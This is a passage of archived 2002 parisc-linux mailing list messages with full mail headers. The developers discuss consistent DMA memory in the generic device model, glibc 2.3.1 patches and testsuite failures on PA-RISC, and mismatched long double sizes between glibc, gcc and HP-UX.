	by dsl2.external.hp.com (Postfix) with ESMTP id F1DA84829
	for <parisc-linux@lists.parisc-linux.org>; Sat,  9 Nov 2002 19:01:46 -0700 (MST)
Original-Received: (from root@localhost)
	by pogo.mtv1.steeleye.com (8.9.3/8.9.3) id SAA21845
	for <parisc-linux@lists.parisc-linux.org>; Sat, 9 Nov 2002 18:01:37 -0800
Original-Received: from localhost.localdomain (sshppp-200.mtv1.steeleye.com [172.16.1.200])
	by pogo.mtv1.steeleye.com (8.9.3/8.9.3) with ESMTP id SAA21663;
	Sat, 9 Nov 2002 18:01:32 -0800
Original-Received: from mulgrave (jejb@localhost)
	by localhost.localdomain (8.11.6/linuxconf) with ESMTP id gAA21Uv04824;
	Sat, 9 Nov 2002 21:01:30 -0500
X-Mailer: exmh version 2.4 06/23/2000 with nmh-1.0.4
In-Reply-To: Message from "Adam J. Richter" <adam@yggdrasil.com> 
   of "Sat, 09 Nov 2002 16:23:59 PST." <200211100023.QAA27139@baldur.yggdrasil.com> 
X-AntiVirus: scanned for viruses by AMaViS 0.2.1 (http://amavis.org/)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16701

adam@yggdrasil.com said:
> 
> 	I'd like to know more about what these machines look like in the real
> world.  Specifically, I am interested in the trade-off of having a
> parameter to wback_fake_consistent so that it could be enabled or
> disabled on an individual basis.

Actually, so would I.  I can suspect why there might exist machines like this 
(say the consistent attribute is settable at the pgd level)

> 	I suspect that the parameter is not worth the clutter because these
> "partially consistent" machines either have a large amount of
> consistent memory, so the case of the allocation failing in the is not
> worth supporting, or it is easy to check for consistent memory on them
> with something like "if ((unsigned long) vaddr < 0xwhatever)", but I'm
> just guessing. 

Well, if it has to be done, it can be done by making alloc_consistent return a 
handle rather than an address and making wback/invalidate take the handle (but 
it's certainly not ideal).

James




From - Thu Nov 08 21:25:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Untested port of parisc_device to generic device interface
Date: Sun, 10 Nov 2002 02:15:27 +0000
Lines: 12
Approved: news@gmane.org
Message-ID: <20021110021527.Y12011__27161.0298347243$1416621896$gmane$org@parcelfarce.linux.theplanet.co.uk>
References: <adam@yggdrasil.com> <200211100201.gAA21Uv04824@localhost.localdomain>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621896 16579 80.91.229.3 (22 Nov 2014 02:04:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:04:56 +0000 (UTC)
Cc: "Adam J. Richter" <adam@yggdrasil.com>, andmike@us.ibm.com,
	greg@kroah.com, hch@lst.de, linux-kernel@vger.kernel.org,
	mochel@osdl.org, parisc-linux@lists.parisc-linux.org,
	willy@debian.org
To: "J.E.J. Bottomley" <James.Bottomley@steeleye.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Nov  9 19:15:35 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id E976E4829
	for <parisc-linux@lists.parisc-linux.org>; Sat,  9 Nov 2002 19:15:34 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 18AhdH-0005bl-00; Sun, 10 Nov 2002 02:15:27 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <200211100201.gAA21Uv04824@localhost.localdomain>; from James.Bottomley@steeleye.com on Sat, Nov 09, 2002 at 09:01:29PM -0500
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16702

On Sat, Nov 09, 2002 at 09:01:29PM -0500, J.E.J. Bottomley wrote:
> Actually, so would I.  I can suspect why there might exist machines like this 
> (say the consistent attribute is settable at the pgd level)

well, there's a limited amount of space available for consistent mappings
on some machines.  it's basically the same as the vmalloc space.  i think
the best way to handle this is simply to fail to initialise if you can't
get the consistent memory you need.

-- 
Revolutions do not require corporate support.


From - Thu Nov 08 21:25:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Adam J. Richter" <adam@yggdrasil.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Untested port of parisc_device to generic device interface
Date: Sat, 9 Nov 2002 21:20:46 -0800
Lines: 55
Approved: news@gmane.org
Message-ID: <200211100520.VAA27408__32227.2083176815$1416621897$gmane$org@baldur.yggdrasil.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621897 16584 80.91.229.3 (22 Nov 2014 02:04:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:04:57 +0000 (UTC)
Cc: andmike@us.ibm.com, hch@lst.de, James.Bottomley@steeleye.com,
	linux-kernel@vger.kernel.org, mochel@osdl.org,
	parisc-linux@lists.parisc-linux.org
To: willy@debian.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Nov  9 22:20:59 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from freya.yggdrasil.com (h-64-105-136-52.SNVACAID.covad.net [64.105.136.52])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1B6E34829
	for <parisc-linux@lists.parisc-linux.org>; Sat,  9 Nov 2002 22:20:59 -0700 (MST)
Original-Received: from baldur.yggdrasil.com (baldur.yggdrasil.com [209.249.10.12])
	by freya.yggdrasil.com (8.9.3/8.9.3) with ESMTP id VAA30409;
	Sat, 9 Nov 2002 21:20:53 -0800
Original-Received: (from adam@localhost)
	by baldur.yggdrasil.com (8.9.3/8.9.3) id VAA27408;
	Sat, 9 Nov 2002 21:20:46 -0800
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16703

On Sat, Nov 09, 2002 at 05:21:50AM +0000, Matthew Wilcox wrote about
generic device models:
> And, for gods sake, don't fuck it up by integrating it with USB too early
> in the game.

	Without rewriting everything, I could see creating a common
device container for devices connected directly to the CPU's memory,
IO or interrupt busses (PCI, ISA, sbus, etc.) so as not to increase
the memory size of device and device_driver for non-mapped device
types (USB, firewire, SCSI, etc.).  More importantly, this change
would provide some type checking for operations that are really only
meaningful on CPU mapped devices, such as the "generic"
dma_{alloc,free}_consistent() and related functions.  I imagine
something like this:


struct cpu_mapped_device {
	dma_addr_t		dma_mask;
	/* Initialized from parent->dma_mask and driver->dma_restrictions. */
	void			*prealloc_vaddr;
	void 			*prealloc_busaddr;
	struct device		device;
};

struct cpu_mapped_driver {
	struct io_restrictions	*dma_restrictions;
	int			prealloc_consistent;
	int			fake_consistent_ok : 1;
	struct device_driver	driver;
};

struct device {
	...
	struct resource_list		*resources;
	/* For automatic release of memory ranges, IO ports, DMA channels,
	   IRQ's, SCSI ID's, SCSI LUN's within an ID, USB device ID's,
	   etc.  (but not USB hub ports, and PCMCIA slots, which we can
	   released before ->remove() is called). */

	dma_pool_t			dma_stub_pool[2];
	struct cpu_mapped_device	*dma_dev;
	/* Points to the cpu_mapped_device that we are embedded in for PCI,
	   ISA, and other cpu mapped devices.  Points to the parent
	   cpu mapped device for others, such as the USB controller for a
	   USB network interface.   Will be used for allocating DMA gather
	   scatter stubs when allocating skbuff's, bio's, scsi_request's,
	   USB request blocks, etc., eliminating another set of error
	   branches. */
};

Adam J. Richter     __     ______________   575 Oroville Road
adam@yggdrasil.com     \ /                  Miplitas, California 95035
+1 408 309-6081         | g g d r a s i l   United States of America
                         "Free Software For The Rest Of Us."


From - Thu Nov 08 21:25:20 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] glibc 2.3.1 - It's alive! - patches
Date: Sun, 10 Nov 2002 20:05:17 -0500
Lines: 23
Approved: news@gmane.org
Message-ID: <20021111010517.GA13575@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621897 16586 80.91.229.3 (22 Nov 2014 02:04:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:04:57 +0000 (UTC)
Cc: Randolph Chung <tausq@debian.org>, Jeff Bailey <jbailey@nisa.net>
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Nov 10 18:05:15 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from systemhalted (CPE0080c82c70ca.cpe.net.cable.rogers.com [24.112.224.149])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6E2CE4829
	for <parisc-linux@lists.parisc-linux.org>; Sun, 10 Nov 2002 18:05:13 -0700 (MST)
Original-Received: from carlos by systemhalted with local (Exim 3.36 #1 (Debian))
	id 18B30v-0003bi-00; Sun, 10 Nov 2002 20:05:17 -0500
Mail-Followup-To: Carlos O'Donell <carlos@baldric.uwo.ca>,
	parisc-linux@lists.parisc-linux.org,
	Randolph Chung <tausq@debian.org>, Jeff Bailey <jbailey@nisa.net>
Content-Disposition: inline
User-Agent: Mutt/1.4i
X-Useless-Header: oooohhmmm, chant the email mantra...
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16704

PA,

These patches apply and build glibc 2.3.1, but we have interesting
testsuite failures :}

In particular ex10 in the linuxthreads testsuite deadlocks and has to be
killed by hand to continue testing.

We also fail a number of "needed" tests in the elf section. These tests
cover the loading of DSO's with dlopen. Wether these are binutils bugs
is yet to be seen.

Lastly, I think that the fp* tests suffer from the printf bug?

Pathes at:
http://www.baldric.uwo.ca/~carlos/upstream-patches.tar.gz

I don't think we are ready to push this into unstable until we iron out
a few more of these bugs :(

c.



From - Thu Nov 08 21:25:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] glibc 2.3.1 - It's alive! - patches
Date: Sun, 10 Nov 2002 20:19:36 -0500 (EST)
Lines: 12
Approved: news@gmane.org
Message-ID: <200211110119.gAB1JaSr004665@hiauly1.hia.nrc.ca>
References: <20021111010517.GA13575@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621897 16588 80.91.229.3 (22 Nov 2014 02:04:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:04:57 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org, tausq@debian.org,
	jbailey@nisa.net
To: carlos@baldric.uwo.ca (Carlos O'Donell)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Nov 10 18:19:42 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id E740B4829
	for <parisc-linux@lists.parisc-linux.org>; Sun, 10 Nov 2002 18:19:41 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id gAB1JbSf004666
	for <parisc-linux@lists.parisc-linux.org>; Sun, 10 Nov 2002 20:19:37 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) id gAB1JaSr004665;
	Sun, 10 Nov 2002 20:19:36 -0500 (EST)
In-Reply-To: <20021111010517.GA13575@systemhalted> from "Carlos O'Donell" at Nov 10, 2002 08:05:17 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16705

> Lastly, I think that the fp* tests suffer from the printf bug?

I am fairly certain that this is fixed in gcc 3.2/3.3.  Could you
do a build with the mainline gcc cvs?  I am interested in feedback.
as I am trying to squash as many bugs as possible in 3.3 while it's
still open for general bug fixing.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:25:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] glibc 2.3.1 - It's alive! - patches
Date: Mon, 11 Nov 2002 01:21:29 +0000
Lines: 20
Approved: news@gmane.org
Message-ID: <20021111012129.A29998@parcelfarce.linux.theplanet.co.uk>
References: <20021111010517.GA13575@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621898 16590 80.91.229.3 (22 Nov 2014 02:04:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:04:58 +0000 (UTC)
To: Carlos O'Donell <carlos@baldric.uwo.ca>,
	parisc-linux@lists.parisc-linux.org,
	Randolph Chung <tausq@debian.org>, Jeff Bailey <jbailey@nisa.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Nov 10 18:21:35 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7747E4829
	for <parisc-linux@lists.parisc-linux.org>; Sun, 10 Nov 2002 18:21:34 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 18B3Gb-0000lu-00; Mon, 11 Nov 2002 01:21:29 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <20021111010517.GA13575@systemhalted>; from carlos@baldric.uwo.ca on Sun, Nov 10, 2002 at 08:05:17PM -0500
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16706

On Sun, Nov 10, 2002 at 08:05:17PM -0500, Carlos O'Donell wrote:
> Lastly, I think that the fp* tests suffer from the printf bug?

Last I looked, we suffered from the fact that glibc thinks `long double'
is 96 bits, gcc thinks `long double' is 64 bits and gcc-hpux thinks that
`long double' is 128 bits.  I've been whining about this for over a year
and nothing's happened.  I think it's fairly clear that not much uses
long double, otherwise we'd've noticed more failure cases.  So changing
both gcc & glibc to a 128-bit long double is the Right Thing to do and
we can just suck up this ABI breakage.

In case anyone's wondering, the architecture specifies 32-bit, 64-bit and
128-bit floating point registers as being available.  My understanding is
that no processor has actually implemented the 128-bit floating point ops
(except maybe load and store) and they always trap to the FP emulation
code (which we copied from HPUX).

-- 
Revolutions do not require corporate support.


From - Thu Nov 08 21:25:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] glibc 2.3.1 - It's alive! - patches
Date: Sun, 10 Nov 2002 20:32:20 -0500 (EST)
Lines: 21
Approved: news@gmane.org
Message-ID: <200211110132.gAB1WK8T004703@hiauly1.hia.nrc.ca>
References: <20021111012129.A29998@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621898 16592 80.91.229.3 (22 Nov 2014 02:04:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:04:58 +0000 (UTC)
Cc: carlos@baldric.uwo.ca, parisc-linux@lists.parisc-linux.org,
	tausq@debian.org, jbailey@nisa.net
To: willy@debian.org (Matthew Wilcox)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Nov 10 18:32:26 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id B02C94829
	for <parisc-linux@lists.parisc-linux.org>; Sun, 10 Nov 2002 18:32:25 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id gAB1WLSf004704
	for <parisc-linux@lists.parisc-linux.org>; Sun, 10 Nov 2002 20:32:21 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) id gAB1WK8T004703;
	Sun, 10 Nov 2002 20:32:20 -0500 (EST)
In-Reply-To: <20021111012129.A29998@parcelfarce.linux.theplanet.co.uk> from "Matthew Wilcox" at Nov 11, 2002 01:21:29 am
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16707

> In case anyone's wondering, the architecture specifies 32-bit, 64-bit and
> 128-bit floating point registers as being available.  My understanding is
> that no processor has actually implemented the 128-bit floating point ops
> (except maybe load and store) and they always trap to the FP emulation
> code (which we copied from HPUX).

Paul Bame was working on getting HP to release their long double library
code.  I haven't heard what the status is.  If he gets the code, then it
should be relatively straight forward to integrate into libgcc and use
the same code as for hpux.  Can glibc handle 128-bit long doubles as
that's the size long doubles will be if we get the code?

There are two tests in the libstdc++-v3 suite that fail because of this.
However, there can't be much in the way of real world code that actually
uses long doubles.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:25:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] glibc 2.3.1 - It's alive! - patches
Date: Sun, 10 Nov 2002 20:49:35 -0500
Lines: 21
Approved: news@gmane.org
Message-ID: <20021111014935.GB13575@systemhalted>
References: <20021111012129.A29998@parcelfarce.linux.theplanet.co.uk> <200211110132.gAB1WK8T004703@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621898 16594 80.91.229.3 (22 Nov 2014 02:04:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:04:58 +0000 (UTC)
Cc: Matthew Wilcox <willy@debian.org>,
	parisc-linux@lists.parisc-linux.org, tausq@debian.org,
	jbailey@nisa.net
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Nov 10 18:50:05 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from systemhalted (CPE0080c82c70ca.cpe.net.cable.rogers.com [24.112.224.149])
	by dsl2.external.hp.com (Postfix) with ESMTP id CFFDD4829
	for <parisc-linux@lists.parisc-linux.org>; Sun, 10 Nov 2002 18:50:03 -0700 (MST)
Original-Received: from carlos by systemhalted with local (Exim 3.36 #1 (Debian))
	id 18B3ho-0003ic-00; Sun, 10 Nov 2002 20:49:36 -0500
Mail-Followup-To: Carlos O'Donell <carlos@baldric.uwo.ca>,
	John David Anglin <dave@hiauly1.hia.nrc.ca>,
	Matthew Wilcox <willy@debian.org>,
	parisc-linux@lists.parisc-linux.org, tausq@debian.org,
	jbailey@nisa.net
Content-Disposition: inline
In-Reply-To: <200211110132.gAB1WK8T004703@hiauly1.hia.nrc.ca>
User-Agent: Mutt/1.4i
X-Useless-Header: oooohhmmm, chant the email mantra...
X-Mailer: Patched Mutt OS 1.2.5 - Neural Implant (37% Sync Ratio [====......])
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16708

> 
> Paul Bame was working on getting HP to release their long double library
> code.  I haven't heard what the status is.  If he gets the code, then it
> should be relatively straight forward to integrate into libgcc and use
> the same code as for hpux.  Can glibc handle 128-bit long doubles as
> that's the size long doubles will be if we get the code?
> 
> There are two tests in the libstdc++-v3 suite that fail because of this.
> However, there can't be much in the way of real world code that actually
> uses long doubles.
> 

It looks we have the framework. The glibc tree has sysdeps/ieee754/ldbl-128 
which looks to be used by hppa and sparc64. The code was last touched by
Jakub Jelinek in 2002-09-09 (cleaning up some cruft). ldlb-128 does get
parsed as one of the generic-dirs in Make-dist. For all intents and
purposes we have soft-emulated support :)

c.



From - Thu Nov 08 21:25:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] glibc 2.3.1 - It's alive! - patches
Date: Sun, 10 Nov 2002 22:45:42 -0500 (EST)
Lines: 14
Approved: news@gmane.org
Message-ID: <200211110345.gAB3jgdF001254@hiauly1.hia.nrc.ca>
References: <20021111014935.GB13575@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621899 16599 80.91.229.3 (22 Nov 2014 02:04:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:04:59 +0000 (UTC)
Cc: willy@debian.org, parisc-linux@lists.parisc-linux.org,
	tausq@debian.org, jbailey@nisa.net
To: carlos@baldric.uwo.ca (Carlos O'Donell)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Nov 10 20:45:49 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5B6044829
	for <parisc-linux@lists.parisc-linux.org>; Sun, 10 Nov 2002 20:45:49 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id gAB3jiot001255;
